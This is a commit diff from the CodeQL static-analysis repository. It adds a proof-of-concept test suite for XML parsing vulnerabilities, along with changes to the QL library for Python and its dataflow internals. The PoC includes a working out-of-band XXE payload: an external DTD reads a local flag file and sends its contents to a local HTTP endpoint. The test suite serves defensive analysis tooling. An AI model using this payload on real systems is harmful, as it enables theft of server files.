mirror of
https://github.com/github/codeql.git
synced 2025-12-21 03:06:31 +01:00
Merge branch 'main' into pyMaD
This commit is contained in:
1
python/PoCs/README.md
Normal file
1
python/PoCs/README.md
Normal file
@@ -0,0 +1 @@
|
||||
A place to collect proof of concept for how certain vulnerabilities work.
|
||||
@@ -70,6 +70,14 @@ dtd_retrieval = f"""<?xml version="1.0"?>
|
||||
<foo>bar</foo>
|
||||
"""
|
||||
|
||||
exfiltrate_through_dtd_retrieval = f"""<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://{HOST}:{PORT}/exfiltrate-through.dtd"> %xxe; ]>
|
||||
"""
|
||||
|
||||
predefined_entity_xml = """<?xml version="1.0"?>
|
||||
<test><</test>
|
||||
"""
|
||||
|
||||
# ==============================================================================
|
||||
# other setup
|
||||
|
||||
@@ -95,6 +103,22 @@ def test_xxe():
|
||||
hit_xxe = True
|
||||
return "ok"
|
||||
|
||||
@app.route("/exfiltrate-through.dtd")
|
||||
def exfiltrate_through_dtd():
|
||||
return f"""<!ENTITY % file SYSTEM "file://{FLAG_PATH}">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{HOST}:{PORT}/exfiltrate-data?data=%file;'>">
|
||||
%eval;
|
||||
%exfiltrate;
|
||||
"""
|
||||
|
||||
exfiltrated_data = None
|
||||
@app.route("/exfiltrate-data")
|
||||
def exfiltrate_data():
|
||||
from flask import request
|
||||
global exfiltrated_data
|
||||
exfiltrated_data = request.args["data"]
|
||||
return "ok"
|
||||
|
||||
def run_app():
|
||||
app.run(host=HOST, port=PORT)
|
||||
|
||||
@@ -346,7 +370,7 @@ class TestLxml:
|
||||
parser = lxml.etree.XMLParser()
|
||||
root = lxml.etree.fromstring(local_xxe, parser=parser)
|
||||
assert root.tag == "test"
|
||||
assert root.text == "SECRET_FLAG\n", root.text
|
||||
assert root.text == "SECRET_FLAG", root.text
|
||||
|
||||
@staticmethod
|
||||
def test_local_xxe_disabled():
|
||||
@@ -361,11 +385,7 @@ class TestLxml:
|
||||
hit_xxe = False
|
||||
|
||||
parser = lxml.etree.XMLParser()
|
||||
try:
|
||||
root = lxml.etree.fromstring(remote_xxe, parser=parser)
|
||||
assert False
|
||||
except lxml.etree.XMLSyntaxError as e:
|
||||
assert "Failure to process entity remote_xxe" in str(e)
|
||||
root = lxml.etree.fromstring(remote_xxe, parser=parser)
|
||||
assert hit_xxe == False
|
||||
|
||||
@staticmethod
|
||||
@@ -416,6 +436,23 @@ class TestLxml:
|
||||
pass
|
||||
assert hit_dtd == False
|
||||
|
||||
@staticmethod
|
||||
def test_exfiltrate_through_dtd():
|
||||
# note that this only works when the data to exfiltrate does not contain a newline :|
|
||||
global exfiltrated_data
|
||||
exfiltrated_data = None
|
||||
parser = lxml.etree.XMLParser(load_dtd=True, no_network=False)
|
||||
with pytest.raises(lxml.etree.XMLSyntaxError):
|
||||
lxml.etree.fromstring(exfiltrate_through_dtd_retrieval, parser=parser)
|
||||
|
||||
assert exfiltrated_data == "SECRET_FLAG"
|
||||
|
||||
@staticmethod
|
||||
def test_predefined_entity():
|
||||
parser = lxml.etree.XMLParser(resolve_entities=False)
|
||||
root = lxml.etree.fromstring(predefined_entity_xml, parser=parser)
|
||||
assert root.tag == "test"
|
||||
assert root.text == "<"
|
||||
|
||||
# ==============================================================================
|
||||
|
||||
1
python/PoCs/XmlParsing/flag
Normal file
1
python/PoCs/XmlParsing/flag
Normal file
@@ -0,0 +1 @@
|
||||
SECRET_FLAG
|
||||
@@ -1,3 +1,9 @@
|
||||
## 0.2.0
|
||||
|
||||
### Breaking Changes
|
||||
|
||||
* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
|
||||
|
||||
## 0.1.0
|
||||
|
||||
### Breaking Changes
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added taint propagation for `io.StringIO` and `io.BytesIO`. This addition was originally [submitted as part of an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
category: breaking
|
||||
---
|
||||
The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
|
||||
@@ -0,0 +1,5 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
The modeling of `request.files` in Flask has been fixed, so we now properly handle
|
||||
assignments to local variables (such as `files = request.files; files['key'].filename`).
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: breaking
|
||||
---
|
||||
`API::moduleImport` no longer has any results for dotted names, such as `API::moduleImport("foo.bar")`. Using `API::moduleImport("foo.bar").getMember("baz").getACall()` previously worked if the Python code was `from foo.bar import baz; baz()`, but not if the code was `import foo.bar; foo.bar.baz()` -- we are making this change to ensure the approach that can handle all cases is always used.
|
||||
5
python/ql/lib/change-notes/released/0.2.0.md
Normal file
5
python/ql/lib/change-notes/released/0.2.0.md
Normal file
@@ -0,0 +1,5 @@
|
||||
## 0.2.0
|
||||
|
||||
### Breaking Changes
|
||||
|
||||
* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
|
||||
@@ -1,2 +1,2 @@
|
||||
---
|
||||
lastReleaseVersion: 0.1.0
|
||||
lastReleaseVersion: 0.2.0
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
name: codeql/python-all
|
||||
version: 0.1.1-dev
|
||||
version: 0.2.1-dev
|
||||
groups: python
|
||||
dbscheme: semmlecode.python.dbscheme
|
||||
extractor: python
|
||||
|
||||
@@ -283,7 +283,13 @@ module API {
|
||||
* you should use `.getMember` on the parent module. For example, for nodes corresponding to the module `foo.bar`,
|
||||
* use `moduleImport("foo").getMember("bar")`.
|
||||
*/
|
||||
Node moduleImport(string m) { result = Impl::MkModuleImport(m) }
|
||||
Node moduleImport(string m) {
|
||||
result = Impl::MkModuleImport(m) and
|
||||
// restrict `moduleImport` so it will never give results for a dotted name. Note
|
||||
// that we cannot move this logic to the `MkModuleImport` construction, since we
|
||||
// need the intermediate API graph nodes for the prefixes in `import foo.bar.baz`.
|
||||
not m.matches("%.%")
|
||||
}
|
||||
|
||||
/** Gets a node corresponding to the built-in with the given name, if any. */
|
||||
Node builtin(string n) { result = moduleImport("builtins").getMember(n) }
|
||||
|
||||
@@ -498,6 +498,65 @@ module XML {
|
||||
abstract string getName();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A kind of XML vulnerability.
|
||||
*
|
||||
* See overview of kinds at https://pypi.org/project/defusedxml/#python-xml-libraries
|
||||
*
|
||||
* See PoC at `python/PoCs/XmlParsing/PoC.py` for some tests of vulnerable XML parsing.
|
||||
*/
|
||||
class XmlParsingVulnerabilityKind extends string {
|
||||
XmlParsingVulnerabilityKind() { this in ["XML bomb", "XXE", "DTD retrieval"] }
|
||||
|
||||
/**
|
||||
* Holds for XML bomb vulnerability kind, such as 'Billion Laughs' and 'Quadratic
|
||||
* Blowup'.
|
||||
*
|
||||
* While a parser could technically be vulnerable to one and not the other, from our
|
||||
* point of view the interesting part is that it IS vulnerable to these types of
|
||||
* attacks, and not so much which one specifically works. In practice I haven't seen
|
||||
* a parser that is vulnerable to one and not the other.
|
||||
*/
|
||||
predicate isXmlBomb() { this = "XML bomb" }
|
||||
|
||||
/** Holds for XXE vulnerability kind. */
|
||||
predicate isXxe() { this = "XXE" }
|
||||
|
||||
/** Holds for DTD retrieval vulnerability kind. */
|
||||
predicate isDtdRetrieval() { this = "DTD retrieval" }
|
||||
}
|
||||
|
||||
/**
|
||||
* A data-flow node that parses XML.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `XmlParsing` instead.
|
||||
*/
|
||||
class XmlParsing extends Decoding instanceof XmlParsing::Range {
|
||||
/**
|
||||
* Holds if this XML parsing is vulnerable to `kind`.
|
||||
*/
|
||||
predicate vulnerableTo(XmlParsingVulnerabilityKind kind) { super.vulnerableTo(kind) }
|
||||
}
|
||||
|
||||
/** Provides classes for modeling XML parsing APIs. */
|
||||
module XmlParsing {
|
||||
/**
|
||||
* A data-flow node that parses XML.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `XmlParsing` instead.
|
||||
*/
|
||||
abstract class Range extends Decoding::Range {
|
||||
/**
|
||||
* Holds if this XML parsing is vulnerable to `kind`.
|
||||
*/
|
||||
abstract predicate vulnerableTo(XmlParsingVulnerabilityKind kind);
|
||||
|
||||
override string getFormat() { result = "XML" }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Provides classes for modeling LDAP-related APIs. */
|
||||
@@ -910,6 +969,76 @@ module HTTP {
|
||||
abstract DataFlow::Node getValueArg();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A data-flow node that enables or disables Cross-site request forgery protection
|
||||
* in a global manner.
|
||||
*
|
||||
* Extend this class to refine existing API models. If you want to model new APIs,
|
||||
* extend `CsrfProtectionSetting::Range` instead.
|
||||
*/
|
||||
class CsrfProtectionSetting extends DataFlow::Node instanceof CsrfProtectionSetting::Range {
|
||||
/**
|
||||
* Gets the boolean value corresponding to if CSRF protection is enabled
|
||||
* (`true`) or disabled (`false`) by this node.
|
||||
*/
|
||||
boolean getVerificationSetting() { result = super.getVerificationSetting() }
|
||||
}
|
||||
|
||||
/** Provides a class for modeling new CSRF protection setting APIs. */
|
||||
module CsrfProtectionSetting {
|
||||
/**
|
||||
* A data-flow node that enables or disables Cross-site request forgery protection
|
||||
* in a global manner.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `CsrfProtectionSetting` instead.
|
||||
*/
|
||||
abstract class Range extends DataFlow::Node {
|
||||
/**
|
||||
* Gets the boolean value corresponding to if CSRF protection is enabled
|
||||
* (`true`) or disabled (`false`) by this node.
|
||||
*/
|
||||
abstract boolean getVerificationSetting();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A data-flow node that enables or disables Cross-site request forgery protection
|
||||
* for a specific part of an application.
|
||||
*
|
||||
* Extend this class to refine existing API models. If you want to model new APIs,
|
||||
* extend `CsrfLocalProtectionSetting::Range` instead.
|
||||
*/
|
||||
class CsrfLocalProtectionSetting extends DataFlow::Node instanceof CsrfLocalProtectionSetting::Range {
|
||||
/**
|
||||
* Gets a request handler whose CSRF protection is changed.
|
||||
*/
|
||||
Function getRequestHandler() { result = super.getRequestHandler() }
|
||||
|
||||
/** Holds if CSRF protection is enabled by this setting */
|
||||
predicate csrfEnabled() { super.csrfEnabled() }
|
||||
}
|
||||
|
||||
/** Provides a class for modeling new CSRF protection setting APIs. */
|
||||
module CsrfLocalProtectionSetting {
|
||||
/**
|
||||
* A data-flow node that enables or disables Cross-site request forgery protection
|
||||
* for a specific part of an application.
|
||||
*
|
||||
* Extend this class to model new APIs. If you want to refine existing API models,
|
||||
* extend `CsrfLocalProtectionSetting` instead.
|
||||
*/
|
||||
abstract class Range extends DataFlow::Node {
|
||||
/**
|
||||
* Gets a request handler whose CSRF protection is changed.
|
||||
*/
|
||||
abstract Function getRequestHandler();
|
||||
|
||||
/** Holds if CSRF protection is enabled by this setting */
|
||||
abstract predicate csrfEnabled();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Provides classes for modeling HTTP clients. */
|
||||
|
||||
@@ -363,7 +363,7 @@ class CallNode extends ControlFlowNode {
|
||||
)
|
||||
}
|
||||
|
||||
/** Gets the flow node corresponding to the nth argument of the call corresponding to this flow node */
|
||||
/** Gets the flow node corresponding to the n'th positional argument of the call corresponding to this flow node */
|
||||
ControlFlowNode getArg(int n) {
|
||||
exists(Call c |
|
||||
this.getNode() = c and
|
||||
|
||||
@@ -53,3 +53,4 @@ private import semmle.python.frameworks.Ujson
|
||||
private import semmle.python.frameworks.Urllib3
|
||||
private import semmle.python.frameworks.Yaml
|
||||
private import semmle.python.frameworks.Yarl
|
||||
private import semmle.python.frameworks.Xmltodict
|
||||
|
||||
@@ -498,23 +498,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
|
||||
exists(ContentSet cs |
|
||||
readSet(node1, cs, node2, config) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate clearsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
clearsContentCached(n.asNode(), cs) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
bindingset[c]
|
||||
private predicate expectsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
expectsContentCached(n.asNode(), cs) and
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate store(
|
||||
NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
|
||||
@@ -793,7 +805,7 @@ private module Stage1 {
|
||||
* by `revFlow`.
|
||||
*/
|
||||
pragma[nomagic]
|
||||
private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
revFlowConsCand(c, conf) and
|
||||
revFlowStore(c, _, _, conf)
|
||||
}
|
||||
@@ -891,7 +903,7 @@ private module Stage1 {
|
||||
|
||||
pragma[nomagic]
|
||||
predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
|
||||
revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
|
||||
revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
read(n1, c, n2, pragma[only_bind_into](config)) and
|
||||
revFlow(n2, pragma[only_bind_into](config))
|
||||
}
|
||||
@@ -1181,11 +1193,26 @@ private module Stage2 {
|
||||
|
||||
private predicate flowIntoCall = flowIntoCallNodeCand1/5;
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[node, state, ap, config]
|
||||
private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
|
||||
PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
|
||||
exists(ap) and
|
||||
not stateBarrier(node, state, config)
|
||||
not stateBarrier(node, state, config) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
ap = true and
|
||||
expectsContentCand(node, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -1646,10 +1673,24 @@ private module Stage2 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -1740,7 +1781,8 @@ private module LocalFlowBigStep {
|
||||
private class FlowCheckNode extends NodeEx {
|
||||
FlowCheckNode() {
|
||||
castNode(this.asNode()) or
|
||||
clearsContentCached(this.asNode(), _)
|
||||
clearsContentCached(this.asNode(), _) or
|
||||
expectsContentCached(this.asNode(), _)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1979,6 +2021,16 @@ private module Stage3 {
|
||||
clearContent(node, ap.getHead().getContent(), config)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c) and
|
||||
c = ap.getHead().getContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
|
||||
|
||||
@@ -1987,7 +2039,12 @@ private module Stage3 {
|
||||
exists(state) and
|
||||
exists(config) and
|
||||
not clear(node, ap, config) and
|
||||
if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
|
||||
(if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
expectsContentCand(node, ap, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -2452,10 +2509,24 @@ private module Stage3 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3279,10 +3350,24 @@ private module Stage4 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3351,17 +3436,28 @@ private Configuration unbindConf(Configuration conf) {
|
||||
exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
|
||||
}
|
||||
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary0(
|
||||
NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c, AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, _) and
|
||||
exists(AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, _, _) and
|
||||
Stage4::revFlow(n, state, true, _, apa0, config) and
|
||||
Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
|
||||
n.getEnclosingCallable() = c
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, config) and
|
||||
nodeMayUseSummary0(n, c, state, apa, config)
|
||||
)
|
||||
}
|
||||
|
||||
private newtype TSummaryCtx =
|
||||
TSummaryCtxNone() or
|
||||
TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
|
||||
@@ -4257,6 +4353,12 @@ private module Subpaths {
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
|
||||
succ = pred.getASuccessor() and
|
||||
succNode = succ.getNodeEx()
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
|
||||
* a subpath between `par` and `ret` with the connecting edges `arg -> par` and
|
||||
@@ -4264,15 +4366,13 @@ private module Subpaths {
|
||||
*/
|
||||
predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
|
||||
exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
|
||||
pragma[only_bind_into](arg).getASuccessor() = par and
|
||||
pragma[only_bind_into](arg).getASuccessor() = out0 and
|
||||
subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
|
||||
pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
|
||||
subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
|
||||
hasSuccessor(pragma[only_bind_into](arg), par, p) and
|
||||
not ret.isHidden() and
|
||||
par.getNodeEx() = p and
|
||||
out0.getNodeEx() = o and
|
||||
out0.getState() = sout and
|
||||
out0.getAp() = apout and
|
||||
(out = out0 or out = out0.projectToSink())
|
||||
pathNode(out0, o, sout, _, _, apout, _, _)
|
||||
|
|
||||
out = out0 or out = out0.projectToSink()
|
||||
)
|
||||
}
|
||||
|
||||
@@ -4609,6 +4709,10 @@ private module FlowExploration {
|
||||
exists(PartialPathNodeRev mid |
|
||||
revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
|
||||
not clearsContentEx(node, ap.getHead()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead())
|
||||
) and
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
|
||||
@@ -4625,6 +4729,10 @@ private module FlowExploration {
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
not clearsContentEx(node, ap.getHead().getContent()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead().getContent())
|
||||
) and
|
||||
if node.asNode() instanceof CastingNode
|
||||
then compatibleTypes(node.getDataFlowType(), ap.getType())
|
||||
else any()
|
||||
|
||||
@@ -498,23 +498,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
|
||||
exists(ContentSet cs |
|
||||
readSet(node1, cs, node2, config) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate clearsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
clearsContentCached(n.asNode(), cs) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
bindingset[c]
|
||||
private predicate expectsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
expectsContentCached(n.asNode(), cs) and
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate store(
|
||||
NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
|
||||
@@ -793,7 +805,7 @@ private module Stage1 {
|
||||
* by `revFlow`.
|
||||
*/
|
||||
pragma[nomagic]
|
||||
private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
revFlowConsCand(c, conf) and
|
||||
revFlowStore(c, _, _, conf)
|
||||
}
|
||||
@@ -891,7 +903,7 @@ private module Stage1 {
|
||||
|
||||
pragma[nomagic]
|
||||
predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
|
||||
revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
|
||||
revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
read(n1, c, n2, pragma[only_bind_into](config)) and
|
||||
revFlow(n2, pragma[only_bind_into](config))
|
||||
}
|
||||
@@ -1181,11 +1193,26 @@ private module Stage2 {
|
||||
|
||||
private predicate flowIntoCall = flowIntoCallNodeCand1/5;
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[node, state, ap, config]
|
||||
private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
|
||||
PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
|
||||
exists(ap) and
|
||||
not stateBarrier(node, state, config)
|
||||
not stateBarrier(node, state, config) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
ap = true and
|
||||
expectsContentCand(node, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -1646,10 +1673,24 @@ private module Stage2 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -1740,7 +1781,8 @@ private module LocalFlowBigStep {
|
||||
private class FlowCheckNode extends NodeEx {
|
||||
FlowCheckNode() {
|
||||
castNode(this.asNode()) or
|
||||
clearsContentCached(this.asNode(), _)
|
||||
clearsContentCached(this.asNode(), _) or
|
||||
expectsContentCached(this.asNode(), _)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1979,6 +2021,16 @@ private module Stage3 {
|
||||
clearContent(node, ap.getHead().getContent(), config)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c) and
|
||||
c = ap.getHead().getContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
|
||||
|
||||
